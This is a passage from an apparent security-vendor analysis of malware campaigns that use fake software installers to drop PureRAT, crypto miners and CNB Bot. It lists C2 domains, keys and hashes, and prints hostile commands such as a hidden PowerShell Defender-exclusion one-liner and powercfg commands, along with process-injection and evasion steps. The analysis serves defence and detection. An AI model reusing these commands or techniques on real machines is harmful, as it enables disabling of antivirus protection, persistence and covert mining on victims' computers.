<p>The loader then extracts four embedded resources into the install directory at <code>%SystemDrive%\Users\%UserName%\AppData\Local\SVCData\Config</code>, dropping 3 unused, benign DLLs and a malicious <code>svchost.exe</code> binary, which is the 3rd stage. Stage 3 is launched through PowerShell, and a scheduled task named <code>SVCConfig</code> is registered via <code>schtasks.exe</code> with an <code>ONLOGON</code> trigger and <code>HIGHEST</code> privilege.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/fake-installers-to-monero/image33.png" alt="Stage 3 installation" title="Stage 3 installation" /></p>
<p>Following payload launch, Stage 2 writes a temporary .bat file to <code>%TEMP%</code> with a polling loop that forcefully deletes the installer binary until successful, then deletes the batch file itself.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/fake-installers-to-monero/image38.png" alt="Self-delete installer binary" title="Self-delete installer binary" /></p>
<p>Stage 3 is a Themida + .NET Reactor-protected, in-memory PE loader, which is also the beginning of the PureRAT component. The encrypted next-stage module is stored as a .NET resource and decrypted via Triple DES (3DES) in CBC mode using an embedded key and IV. The decrypted output is a GZip-compressed PE: the first 4 bytes encode the decompressed size as a little-endian integer, followed by the GZip stream.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/fake-installers-to-monero/image3.png" alt="PureRAT next-stage decryption" title="PureRAT next-stage decryption" /></p>
<p>The PureRAT v3.0.1 configuration is decoded by base64-decoding an embedded string and deserializing the result as a Protobuf message:</p>
<ul>
<li><code>23-01-26</code> (build / campaign date)</li>
<li><code>windirautoupdates[.]top</code> (C2 #1)</li>
<li><code>winautordr.itemdb[.]com</code> (C2 #2)</li>
<li><code>winautordr.ydns[.]eu</code> (C2 #3)</li>
<li><code>winautordr.kozow[.]com</code>  (C2 #4)</li>
<li><code>Aesthetics135</code> (mutex and C2 comms key)</li>
</ul>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/fake-installers-to-monero/image17.png" alt="PureRAT decoded configuration" title="PureRAT decoded configuration" /></p>
<p>The C2 communication protocol uses key derivation function - <code>PBKDF2-SHA1(&quot;Aesthetics135&quot;, embedded_salt=010217EA2530863FF804, iter=5000)</code> to derive 96 bytes, split into an AES-256-CBC key and an HMAC-SHA256 key. Incoming messages are authenticated by verifying the HMAC over <code>[IV | ciphertext]</code> stored in the first 32 bytes; the IV is then read from byte offset (32- 48) and used to decrypt the remaining ciphertext, yielding a <a href="https://protobuf.dev/">Protobuf</a>-encoded command message.</p>
<p>By decrypting traffic captured in VirusTotal sandboxes, we observed that the C2 server at <code>windirautoupdates[.]top</code> was automatically issuing a download-and-execute task directing the implant to fetch an XMR mining payload from <code>https://github[.]com/lebnabar198/Hgh5gM99fe3dG/raw/refs/heads/main/MnrsInstllr_240126[.]exe</code>.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/fake-installers-to-monero/image24.png" alt="PureRAT initial task decryption" title="PureRAT initial task decryption" /></p>
<h2>Campaign 3 (PureRAT, PureMiner, XMRig loader)</h2>
<p>The third campaign variant shares the same initial-stage loader design as Campaigns 1 and 2. Its Stage 2 resembles Campaign 2 but differs by dropping multiple embedded payloads from the resource section, including PureRAT, a custom XMRig loader, and PureMiner.</p>
<p>Example ISO sample:</p>
<ul>
<li><code>f84b00fc75f183c571c8f49fcc1d7e0241f538025db0f2daa4e2c5b9a6739049</code>.</li>
</ul>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/fake-installers-to-monero/image40.png" alt="Installation of PureRAT, PureMiner, and a custom XMRig loader" title="Installation of PureRAT, PureMiner, and a custom XMRig loader" /></p>
<p>To keep the machine awake and maximize mining uptime, the loader disables sleep and hibernation via Windows power management commands:</p>
<ul>
<li><code>powercfg /change standby-timeout-ac 0</code></li>
<li><code>powercfg /change standby-timeout-dc 0</code></li>
<li><code>powercfg /change hibernate-timeout-ac 0</code></li>
<li><code>powercfg /change hibernate-timeout-dc 0</code></li>
</ul>
<p>The PureRAT configuration matches Campaign 2, differing only in the build/campaign ID: <code>25-11-25</code>.</p>
<p>The PE loader component of PureMiner is similar to PureRAT, and the decrypted module is also obfuscated via .NET Reactor. Since the configuration is Protobuf-serialized, hooking <code>ProtoBuf.Serializer::Deserialize</code> allows inspection of the configuration data:</p>
<ul>
<li><code>25-11-25</code> (build / campaign date)</li>
<li><code>wndlogon.hopto[.]org</code> (C2 #1)</li>
<li><code>wndlogon.itemdb[.]com</code> (C2 #2)</li>
<li><code>wndlogon.ydns[.]eu</code> (C2 #3)</li>
<li><code>wndlogon.kozow[.]com</code> (C2 #4)</li>
<li><code>4c271ad41ea2f6a44ce8d0</code> (mutex and C2 comms key)</li>
</ul>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/fake-installers-to-monero/image41.png" alt="PureMiner decoded configuration" title="PureMiner decoded configuration" /></p>
<p>Additional behavioral indicators include the dynamic loading of AMD Display Library binaries (<code>atiadlxx.dll</code>/<code>atiadlxy.dll</code>) and the NVIDIA API library (<code>nvapi64.dll</code>), consistent with GPU hardware profiling techniques employed by PureMiner.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/fake-installers-to-monero/image1.png" alt="PureMiner loading atiadlxx.dll, atiadlxy.dll, and nvapi64.dll" title="PureMiner loading atiadlxx.dll, atiadlxy.dll, and nvapi64.dll" /></p>
<h3>Custom .NET-Based Loader for XMRig</h3>
<p>The following findings cover the custom XMRig loader deployed during this campaign. Analyzed samples:</p>
<ul>
<li><code>0176ffaf278b9281aa207c59b858c8c0b6e38fdb13141f7ed391c9f8b2dc7630</code></li>
<li><code>9409f9c398645ddac096e3331d2782705b62e388a8ecb1c4e9d527616f0c6a9e</code></li>
<li><code>f84b00fc75f183c571c8f49fcc1d7e0241f538025db0f2daa4e2c5b9a6739049</code></li>
</ul>
<h4>The Entry Point and Setup</h4>
<p>Execution begins in the <code>Start()</code> method. The loader first calls <code>FetchRemoteConfig()</code>, which reaches out to a hardcoded URL (<code>https://autoupdatewinsystem[.]top/MyMNRconfigs/0226.txt</code>). The response is AES-encrypted JSON, which the loader decrypts using a hardcoded key (<code>AsyncPrivateInputx64</code>) and parses to extract the pool, wallet, and mining arguments. If the remote server is unreachable or decryption fails, it falls back to a hardcoded <code>ztbpVbABSx1jDIKnWGbx1d_0</code> configuration to ensure mining can still occur.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/fake-installers-to-monero/image26.png" alt="The hard-coded configuration when the online config is unavailable" title="The hard-coded configuration when the online config is unavailable" /></p>
<h4>Resource Extraction</h4>
<p>Simultaneously, an asynchronous task triggers <code>ExtractResources()</code>. The loader checks the <code>%TEMP%</code> directory for two files: <code>procsrv.exe</code> (the renamed XMRig payload) and <code>WinRing0x64.sys</code> (a driver used by XMRig for direct hardware access). If either is absent, the loader unpacks them from its own assembly manifest.</p>
<h4>Evasion Loop</h4>
<p>After a 3-second sleep, the loader calls <code>StartEvasionTimer()</code>, initializing a timer that ticks every 1,000 milliseconds. On each tick, <code>IsAnalysisToolRunning()</code> compares all running process names against a hardcoded list of 35 security and monitoring tools (<code>Taskmgr</code>, <code>ProcessHacker</code>, <code>Wireshark</code>, <code>Procmon</code>, etc.).</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/fake-installers-to-monero/image34.png" alt="Monitoring tools that are targeted" title="Monitoring tools that are targeted" /></p>
<p>If any analysis tool is detected, the loader immediately calls <code>KillMinerProcess()</code>, terminating <code>procsrv.exe</code>, effectively dropping the CPU usage back to normal.</p>
<p>If no analysis tool is detected, the loader calls <code>CheckAndRunMiner()</code>. If the miner is not currently running, it reconstructs the command-line arguments (using the remote or fallback config) and quietly launches the miner as a hidden background process via <code>LaunchMiner()</code>.</p>
<p>This creates a &quot;hide and seek&quot; scenario for the victim. Whenever they try to investigate why their PC is slow, the malware shuts down the miner.</p>
<h4>WinRing0x64.sys and Ring 0 Access</h4>
<p>The loader also drops and loads <code>WinRing0x64.sys</code>, a legitimate open-source driver frequently abused by cryptominers. The driver provides direct Ring 0 (kernel-level) hardware access, which XMRig uses to apply its Model Specific Register (MSR) modification, reconfiguring CPU prefetcher and L3 cache behavior to significantly boost RandomX (Monero) hash rates.</p>
<h2>Campaign 4 - Umnr_ (SilentCryptoMiner)</h2>
<p>From the <code>autoupdatewinsystem[.]top</code> domain, we identified another GitHub account <code>https://github[.]com/ugurlutaha6116</code> hosting another loader variant whose executable name is prefixed with <code>Umnr_</code>. This loader is a Themida-packed SilentCryptoMiner loader that installs persistently on the victim machine, injects a watchdog payload into <code>conhost.exe</code>, and a miner payload into <code>explorer.exe</code>, mining ETH or XMR depending on the build configuration.</p>
<p>SilentCryptoMiner is a closed-source Win32 64-bit malware released for free on <a href="https://github.com/Unam-Sanctam/SilentCryptoMiner">GitHub</a>. The samples we analyzed are older versions than the latest <a href="https://github.com/Unam-Sanctam/SilentCryptoMiner/releases">release</a>:</p>
<ul>
<li><code>1f7441d72eff2e9403be1d9ce0bb07792793b2cb963f2601ecfdf8c91cd9af73</code></li>
<li><code>468441d32f62520020d57ff1f24bb08af1bc10e9b4d4da1b937450f44e80a9be</code></li>
<li><code>4e6b8fdd819293ca3fe8f8add6937bf6531a936955d9ac974a6b231823c7330e</code></li>
<li><code>6492e50e79b979254314988228a513d5acbdaa950346414955dc052ae77d2988</code></li>
<li><code>ce90cb3a9bfb8a276cb50462be932e063ed408af8c5591dd2c50f1c6d18c394c</code></li>
</ul>
<h4>Direct Syscalls</h4>
<p>To evade detection, SilentCryptoMiner uses direct syscalls instead of <code>NTDLL</code> functions. To do this, it parses <code>NTDLL</code> exports to locate the target function by a hash of its name, extracts the syscall number, and manually executes the syscall instruction sequence.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/fake-installers-to-monero/image36.png" alt="Direct syscall procedure" title="Direct syscall procedure" /></p>
<h4>Disable Sleep and Hibernate</h4>
<p>To ensure it can use the host machine for as long as possible, SilentCryptoMiner disables Windows sleep and hibernation by executing a shell command.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/fake-installers-to-monero/image5.png" alt="Disable windows sleep and hibernate" title="Disable windows sleep and hibernate" /></p>
<h4>Install Persistence</h4>
<p>After copying itself to its installation folder (in this case, configured to masquerade as legitimate software named “<code>Appdata/Local/OptimizeMS/optims.exe</code>”), SilentCryptoMiner proceeds to establish persistence. If the process is running with administrator privileges, it creates a scheduled task configured via an XML file.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/fake-installers-to-monero/image8.png" alt="Schtask task creation for persistence" title="Schtask task creation for persistence" /></p>
<p>The XML file is dropped onto the disk in the <code>AppData/Local/Temp</code> folder and contains the task configuration. One interesting setting is <code>AllowHardTerminate = False</code>, which prevents the task from being forcibly terminated via <code>schtasks</code>.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/fake-installers-to-monero/image14.png" alt="Malware XML task configuration" title="Malware XML task configuration" /></p>
<p>If the process lacks administrator rights, it instead adds a <strong>Run</strong> key to the registry.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/fake-installers-to-monero/image35.png" alt="Malware adds a run key for persistence if not running as administrator" title="Malware adds a run key for persistence if not running as administrator" /></p>
<p>After initial installation, the process terminates. On subsequent execution by the persistence mechanism, it verifies that it is running from its installation directory before proceeding to the process injection phase.</p>
<h4>Inject watchdog and miner payloads</h4>
<p>In the samples we analyzed, the builds contain four payloads:</p>
<ul>
<li>A <code>Winring0.sys</code> driver</li>
<li>A watchdog process</li>
<li>A Monero miner</li>
<li>An Ethereum miner</li>
</ul>
<p>We know that the malware can contain multiple miners; however, in our tests, we only observed the Monero miner injected into a process. In the code, only one of the two miners is injected, which we assume depends on the configuration.</p>
<p>SilentCryptoMiner initiates injection by creating a new suspended process with a spoofed parent process. It obtains a handle to <code>explorer.exe</code> using <code>NtQuerySystemInformation</code> and <code>NtOpenProcess</code>, then configures a <code>PS_ATTRIBUTE_LIST</code> structure with the handle for parent spoofing and passes it to <code>NtCreateUserProcess</code>.</p>
<p>The payload is written to disk via <code>NtCreateFile</code> and <code>NtWriteFile</code>, then mapped into the target process's memory space through <code>NtCreateSection</code> and <code>NtMapViewOfSection</code>. Execution flow is hijacked by modifying the suspended process's entry point (in the <code>RCX</code> register) to point to the payload's image base using <code>NtGetContextThread</code> and <code>NtSetContextThread</code>. The process's PEB (in <code>RDX</code> register) image base is also set to the payload's address using <code>NtWriteVirtualMemory</code>. Finally, the process is resumed with <code>NtResumeThread</code>.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/fake-installers-to-monero/image21.png" alt="Process injection procedure" title="Process injection procedure" /></p>
<p>The payload data is decrypted from a hardcoded blob in the binary using a simple XOR cipher with a hardcoded key. After injection, the blob is re-encrypted in memory to reduce forensic traces.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/fake-installers-to-monero/image15.png" alt="Decrypts, injects, and re-encrypts payload" title="Decrypts, injects, and re-encrypts payload" /></p>
<p>In the analyzed samples, SilentCryptoMiner utilizes two distinct processes for payload injection: the watchdog component is injected into <code>conhost.exe</code>, while the miner payload targets <code>explorer.exe</code>. The <code>WinRing0.sys</code> driver is also written to disk, then loaded and used by the miner. This is likely to optimize the CPU for mining operations.</p>
<h4>Watchdog and Miner Processes</h4>
<p>The watchdog is responsible for monitoring the loader file in its persistence folder: it rewrites the file to disk if it is deleted and reinstalls the persistence mechanism if the scheduled task or registry key is deleted.</p>
<p>The miner downloads its configuration from <code>(/UWP1)?/*CPU.txt</code> endpoints and communicates with its C2 via <code>[UWP1|UnamWebPanel7]/api/endpoint.php</code> API, depending on the version.</p>
<p>Based on the documentation and memory strings, we know that the miner includes supplementary protection measures: Like the .NET miner detailed previously, it halts mining operations when it detects specific blocklisted processes. These processes encompass a variety of tools, including those used for process monitoring, network monitoring, antivirus protection, and reverse engineering.</p>
<h2>Code analysis - CNB Bot</h2>
<p>CNB Bot is a .NET implant with integrated loader capabilities. It implements a command-polling loop against its configured C2 servers, and supports 3 operator commands:</p>
<ul>
<li>download-and-execute arbitrary payloads</li>
<li>self-update</li>
<li>uninstall/cleanup</li>
</ul>
<p>On Jan 31, 2026, malware researcher <a href="https://x.com/ViriBack/status/2017388775978967074">@ViriBack</a> discovered a related C2 panel that was exposed at <code>https://win64autoupdates[.]top/CNB/l0g1n234[.]php</code>, which has since been taken offline.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/fake-installers-to-monero/image16.png" alt="CNB Bot leaked panel" title="CNB Bot leaked panel" /></p>
<h3>Configuration</h3>
<p>Some configuration values for CNB Bot are not encrypted, such as the bot version (<code>1.1.6.</code>), campaign date (<code>03_26</code>), and the scheduled task name for persistence (<code>HostDataPlugin</code>).</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/fake-installers-to-monero/image11.png" alt="Bot version and campaign ID in plaintext" title="Bot version and campaign ID in plaintext" /></p>
<p>Sensitive strings (C2 URLs, mutex name, auth token, comms key) are stored AES-256-CBC encrypted with a hardcoded 32-byte key, which differs across campaign batches.</p>
<p>Strings can be decrypted through the following formula:</p>
<pre><code>x = base64.decode(data)
decrypted = AES256CBC(key=hard_coded_key, iv=x[0:16]).decrypt(x[16:])
</code></pre>
<p>Extracted configuration:</p>
<table>
<thead>
<tr>
<th align="left">Field</th>
<th align="left">Value</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">Mutex Name</td>
<td align="left"><code>MTXCNBV11000ERCXSWOLZNBVRGH</code></td>
</tr>
<tr>
<td align="left">C2 URL</td>
<td align="left"><code>https://tabbysbakescodes[.]ws/CNB/gate.php</code></td>
</tr>
<tr>
<td align="left">C2 URL fallback #1</td>
<td align="left"><code>https://tommysbakescodes[.]ws/CNB/gate.php</code></td>
</tr>
<tr>
<td align="left">C2 URL fallback #2</td>
<td align="left"><code>https://tommysbakescodes[.]cv/CNB/gate.php</code></td>
</tr>
<tr>
<td align="left">Auth Token</td>
<td align="left"><code>0326GJSECMHSHOEYHQMKDZ</code></td>
</tr>
<tr>
<td align="left">Comms AES Key (input)</td>
<td align="left"><code>AnCnDai@4zDsxP!a3E</code></td>
</tr>
<tr>
<td align="left">Scheduled Task</td>
<td align="left"><code>HostDataProcess</code></td>
</tr>
<tr>
<td align="left">Install Dir</td>
<td align="left"><code>%APPDATA%\HostData\</code></td>
</tr>
<tr>
<td align="left">Marker File</td>
<td align="left"><code>%APPDATA%\HostData\install.dat</code></td>
</tr>
<tr>
<td align="left">Executable</td>
<td align="left"><code>sysdata.exe</code></td>
</tr>
<tr>
<td align="left">Group / Campaign</td>
<td align="left"><code>03_26</code></td>
</tr>
<tr>
<td align="left">Bot Version</td>
<td align="left"><code>1.1.6.</code></td>
</tr>
</tbody>
</table>
<h3>Execution Flow</h3>
<p>At startup, CNB Bot uses five different methods to check for VM detection:</p>
<table>
<thead>
<tr>
<th align="left">Check</th>
<th align="left">Technique</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">WMI ComputerSystem</td>
<td align="left">Manufacturer/Model: &quot;vmware&quot;, &quot;virtualbox&quot;, &quot;vbox&quot;, &quot;qemu&quot;, &quot;xen&quot;, &quot;parallels&quot;, &quot;innotek&quot;, &quot;microsoft corporation&quot; (manufacturer) + &quot;virtual machine&quot; (model)</td>
</tr>
<tr>
<td align="left">WMI BIOS</td>
<td align="left">Version/Serial: &quot;vmware&quot;, &quot;virtualbox&quot;, &quot;vbox&quot;, &quot;qemu&quot;, &quot;bochs&quot;, &quot;seabios&quot;</td>
</tr>
<tr>
<td align="left">Process list</td>
<td align="left">&quot;vmtoolsd&quot;, &quot;vmwaretray&quot;, &quot;vmwareuser&quot;, &quot;vboxservice&quot;, &quot;vboxtray&quot;, &quot;xenservice&quot;</td>
</tr>
<tr>
<td align="left">Registry</td>
<td align="left">VMware Tools / VirtualBox Guest Additions keys: &quot;SOFTWARE\VMware, Inc.\VMware Tools&quot;, &quot;SOFTWARE\Oracle\VirtualBox Guest Additions&quot;, &quot;SYSTEM\CurrentControlSet\Services\VBoxGuest&quot;, &quot;SYSTEM\CurrentControlSet\Services\VBoxSF&quot;</td>
</tr>
<tr>
<td align="left">MAC Address</td>
<td align="left">&quot;00:0C:29&quot;, &quot;00:50:56&quot;, &quot;00:05:69&quot;, &quot;08:00:27&quot;, &quot;0A:00:27&quot;, &quot;00:16:3E&quot;, &quot;00:1C:14&quot;</td>
</tr>
</tbody>
</table>
<p>Each check returns zero or one and is summed against a threshold. When the detection threshold is reached, the first process instance acquires a named mutex and enters an infinite sleep <code>(Thread.Sleep(int.MaxValue))</code>, appearing hung rather than terminating cleanly. Any subsequent instance finding the mutex already held exits immediately.</p>
<p>Otherwise, on first execution, the implant checks for <code>%APPDATA%\HostData\install.dat</code>. If absent, it performs the initial installation:</p>
<ul>
<li>Generates a random 5-character alphabetic subdirectory name under <code>%APPDATA%\HostData\</code></li>
<li>Copies itself to <code>%APPDATA%\HostData\&lt;random&gt;\sysdata.exe</code></li>
<li>Writes the installed path to <code>install.dat</code></li>
<li>Extracts benign dependencies <code>DiagSvc.dll</code> and <code>sdrsvc.dll</code> into the same directory</li>
<li>Writes a VBScript wrapper <code>sysdata.vbs</code> alongside the binary: <code>CreateObject(&quot;WScript.Shell&quot;).Run &quot;&quot;&quot;&lt;installed_path&gt;&quot;&quot;&quot;, 0, False</code></li>
<li>Creates a scheduled task named <code>HostDataProcess</code> via schtasks.exe, configured to run <code>wscript.exe //nologo sysdata.vbs</code> every 10 minutes at <code>HIGHEST</code> privilege</li>
<li>Launches the installed copy as a hidden process with <code>%TEMP%</code> as the working directory</li>
<li>Self-deletes the original copy via a self-deleting BAT script (<code>timeout /t 3</code>, <code>loop-del</code>)</li>
</ul>
<p>On subsequent runs, when <code>install.dat</code> exists, and the running path matches its contents, the implant proceeds to active operation:</p>
<ul>
<li>Sets the current working directory to <code>%TEMP%</code></li>
<li>Repairs persistence: checks if <code>sysdata.vbs</code> exists (recreates if absent) and verifies the scheduled task is configured with <code>wscript.exe</code>, re-registering it if necessary</li>
<li>Acquires a named mutex (<code>MTXCNBV11000ERCXSWOLZNBVRGH</code>) - exits if already running</li>
<li>Instantiates the victim profiler, C2 comms, and command dispatcher</li>
<li>Issues a single POST to the C2 with <code>payload: &quot;fetch&quot;</code>, handles any returned task</li>
<li>Exits - next execution is driven entirely by the 10-minute scheduled task trigger</li>
</ul>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/fake-installers-to-monero/image7.png" alt="CNB Bot main code logic" title="CNB Bot main code logic" /></p>
<h3>C2 Communication</h3>
<p>The malware communicates with its C2 by issuing HTTP POST requests with the Content-Type set to <code>application/x-www-form-urlencoded</code>. Each field value is independently AES-256-CBC encrypted with a random IV. The AES key is derived as the SHA-256 hash of the hardcoded communications passphrase (<code>AnCnDai@4zDsxP!a3E</code>). The IV is prepended to the ciphertext, and the entire blob is base64-encoded; C2 responses follow the same format.</p>
<pre><code>encrypted_field_value = base64_encode(random_iv + AES-256-CBC_encrypt\
 (key: SHA-256('AnCnDai@4zDsxP!a3E'), iv: random_iv, data: plaintext_field_value))
</code></pre>
<p>Fields sent on every request:</p>
<table>
<thead>
<tr>
<th align="left">Field</th>
<th align="left">Value</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>desktop</code></td>
<td align="left">machine name</td>
</tr>
<tr>
<td align="left"><code>username</code></td>
<td align="left">username</td>
</tr>
<tr>
<td align="left"><code>os</code></td>
<td align="left">Windows version</td>
</tr>
<tr>
<td align="left"><code>version</code></td>
<td align="left">bot version (<code>1.1.6.</code>)</td>
</tr>
<tr>
<td align="left"><code>privileges</code></td>
<td align="left">user OR admin</td>
</tr>
<tr>
<td align="left"><code>cpu</code></td>
<td align="left">processor name from the registry</td>
</tr>
<tr>
<td align="left"><code>gpu</code></td>
<td align="left">GPU name(s) from registry</td>
</tr>
<tr>
<td align="left"><code>gpu_type</code></td>
<td align="left">yes (discrete) / no (integrated)</td>
</tr>
<tr>
<td align="left"><code>group</code></td>
<td align="left">group / campaign ID (<code>03_26</code>)</td>
</tr>
<tr>
<td align="left"><code>client_path</code></td>
<td align="left">full path of running executable</td>
</tr>
<tr>
<td align="left"><code>local_ipv4</code></td>
<td align="left">external IP via <code>ipify[.]org</code> / <code>icanhazip[.]com</code> / <code>ident[.]me</code></td>
</tr>
<tr>
<td align="left"><code>auth_token</code></td>
<td align="left">authentication token (<code>0326GJSECMHSHOEYHQMKDZ</code>)</td>
</tr>
<tr>
<td align="left"><code>timestamp</code></td>
<td align="left">Unix epoch (UTC)</td>
</tr>
<tr>
<td align="left"><code>payload</code></td>
<td align="left">Command string (“fetch”, “completed”)</td>
</tr>
</tbody>
</table>
<p>A server response decrypts to either a task string, <code>“NO TASKS”</code>, or <code>“REGISTERED/UPDATED”</code>. When the client requests a task through <code>payload: “fetch”</code>, if a task exists for the client, the C2 response decrypts to a <code>&lt;sep&gt;</code>-delimited task string: <code>task_id&lt;sep&gt;command&lt;sep&gt;argument&lt;sep&gt;RSA_sig</code>.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/fake-installers-to-monero/image32.png" alt="CNB Bot dispatcher function" title="CNB Bot dispatcher function" /></p>
<p>Prior to dispatch, each task undergoes RSA-SHA256 signature verification. The signed message is the concatenated string <code>task_id&lt;sep&gt;command&lt;sep&gt;argument</code>, and the signature is the base64-decoded <code>RSA_sig</code> field. A hardcoded RSA-2048 public key is used for verification.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/fake-installers-to-monero/image20.png" alt="RSA-SHA256 task verification" title="RSA-SHA256 task verification" /></p>
<p>Tasks failing verification are silently dropped. Without the operator's RSA private key, third parties cannot issue commands to infected hosts even with full C2 access.</p>
<h3>Supported Commands</h3>
<p>3 commands are supported, described in the table below:</p>
<table>
<thead>
<tr>
<th align="left">Command</th>
<th align="left">Behavior</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>download_execute</code></td>
<td align="left">Downloads URL argument to <code>%TEMP%\&lt;random&gt;.&lt;ext&gt;</code>. Execute: .exe (hidden), .bat/.cmd (cmd /c), .vbs (wscript.exe), other (ShellExecute).</td>
</tr>
<tr>
<td align="left"><code>update</code></td>
<td align="left">Downloads URL argument to staging location <code>%TEMP%\tmp_updt236974520367.exe</code>. Runs BAT to: kill current PID, overwrite installed binary with staged download, delete staging file, and self-delete BAT.</td>
</tr>
<tr>
<td align="left"><code>uninstall</code></td>
<td align="left">Deletes scheduled task, removes <code>install.dat</code>, self-deletes via BAT, rmdir install dir, and <code>%APPDATA%\HostData\</code>.</td>
</tr>
</tbody>
</table>
<h2>Earlier Campaigns</h2>
<p>Pivoting on the PureRAT mutex <code>Aesthetics135</code>, we discovered an earlier wave of the operation that presented a different fake installer UI.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/fake-installers-to-monero/image25.png" alt="Fake installer interface from early 2025" title="Fake installer interface from early 2025" /></p>
<h3>Early 2025 Build</h3>
<p>The sample <code>bb48a52bae2ee8b98ee1888b3e7d05539c85b24548dd4c6acc08fbe5f0d7631a</code> (first seen 2025-01-30) is a Themida and .NET Reactor-protected Windows Forms application that drops PureRAT v0.3.9.</p>
<p>It consists of 3 classes: <code>Fooo1rm</code> (the ApplicationContext entry point), <code>Form2</code> (the installer UI and the PureRAT dropper), and <code>Form3</code> (a fake registration lure). The code structure closely resembles the more recent campaigns.</p>
<p>On initialization, it immediately invokes a hidden PowerShell one-liner to add itself to Microsoft Defender exclusions before any UI appears: <code>powershell.exe -WindowStyle Hidden Add-MpPreference -ExclusionPath '&lt;self_path&gt;'; Add-MpPreference -ExclusionProcess '&lt;self_path&gt;'</code>. A timer with a 2,846 ms interval fires, instantiating and showing Form2.</p>
<p><code>Form2</code> presents a progress bar dialog titled “Getting things ready” with a 12-step timer ticking every 1,000 ms, simulating a legitimate installation.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/fake-installers-to-monero/image18.png" alt="Fake loading bar" title="Fake loading bar" /></p>
<p>A second PowerShell exclusion command covers <code>%LocalAppData%</code>, <code>%AppData%</code>, the drop directory <code>%LocalAppData%\winbuf</code>, and process names including <code>winbuf.exe</code>, <code>wintrs.exe</code>, and <code>AddlnProcess.exe</code>. The PureRAT v0.3.9 payload is extracted from the assembly manifest resource and written to <code>%LocalAppData%\winbuf\winbuf.exe</code>. Persistence is established via <code>schtasks.exe</code>.</p>
<p>Extracted PureRAT config:</p>
<ul>
<li><code>wndlogon.hopto.org</code> (C2 #1)</li>
<li><code>wndlogon.itemdb.com</code> (C2 #2)</li>
<li><code>wndlogon.kozow.com</code> (C2 #3)</li>
<li><code>wndlogon.ydns.eu</code> (C2 #4)</li>
<li><code>Aesthetics135</code> (mutex and C2 comms key)</li>
<li><code>29-01-25</code> (build / campaign date)</li>
</ul>
<p><code>Form3</code> serves purely as a social engineering mechanism to drive <a href="https://en.wikipedia.org/wiki/Cost_per_action">Cost Per Action</a> (CPA) offer completions through a content locker.</p>
<blockquote>
<p>Content lockers are a monetization technique in which access to a resource is gated behind completing CPA (Cost Per Action) offers, such as filling out a survey or signing up for a service. The malware operator earns a commission each time a victim completes one of these offers.</p>
</blockquote>
<p>It presents a fake “Registration Required” dialog with a key entry field, a “Validate” button, and a hyperlink labeled “here” that opens <code>https://tinyurl[.]com/cmvt944y</code>. Key validation is entirely fake. Regardless of input, the handler introduces a hardcoded 2-second delay, then always returns “Invalid key. Please try again.”</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/fake-installers-to-monero/image2.png" alt="Fake registration key input invalidation" title="Fake registration key input invalidation" /></p>
<p>The TinyURL shortlink <code>tinyurl[.]com/cmvt944y</code> redirects to the lure page at <code>rapidfilesdatabaze[.]top/files/z872d515ea17b4e6c3abca9752c706242/</code>.</p>
<p>The page used to host a minimal HTML document titled &quot;Registration Key is Ready&quot;, designed to trick the victim into interacting with the CPA content locker. It presents a download icon and a fake file link labeled <code>Registration_Key.txt</code>, alongside a unique campaign tracking ID (<code>z872d515ea17b4e6c3abca9752c706242</code>) displayed in the page body.</p>
<p>The content locker JavaScript (<code>3193171.js</code>) is loaded from <code>d3nxbjuv18k2dn.cloudfront[.]net</code>, and clicking the <code>Registration_Key.txt</code> link triggers the offer wall under the pretext of unlocking a license key.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/fake-installers-to-monero/image31.png" alt="Content at rapidfilesdatabaze[.]top/files/z872d515ea17b4e6c3abca9752c706242/" title="Content at rapidfilesdatabaze[.]top/files/z872d515ea17b4e6c3abca9752c706242/" /></p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/fake-installers-to-monero/image23.png" alt="CPA content locker JS (3193171.js)" title="CPA content locker JS (3193171.js)" /></p>
<h3>Late 2023 Build</h3>
<p>An older sample - <code>6a01cc61f367d3bae34439f94ff3599fcccb66d05a8e000760626abb9886beac</code> (first seen 2023-11-09) presented a similar fake installer UI. This represents the earliest activity we attributed to this threat actor based on shared infrastructure and tooling.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/fake-installers-to-monero/image29.png" alt="Fake installer interface from late 2023" title="Fake installer interface from late 2023" /></p>
<p>This campaign build dropped PureRAT v0.3.8B, in which the in-memory PE loader component used a SmartAssembly-protected PureCrypter.</p>
<p>Extracted PureRAT config:</p>
<ul>
<li><code>wndlogon.hopto.org</code> (C2 #1)</li>
<li><code>wndlogon.itemdb.com</code> (C2 #2)</li>
<li><code>wndlogon.kozow.com</code> (C2 #3)</li>
<li><code>wndlogon.ydns.eu</code> (C2 #4)</li>
<li><code>Aesthetics135</code> (mutex and C2 comms key)</li>
<li><code>09.11.23</code> (build / campaign date)</li>
</ul>
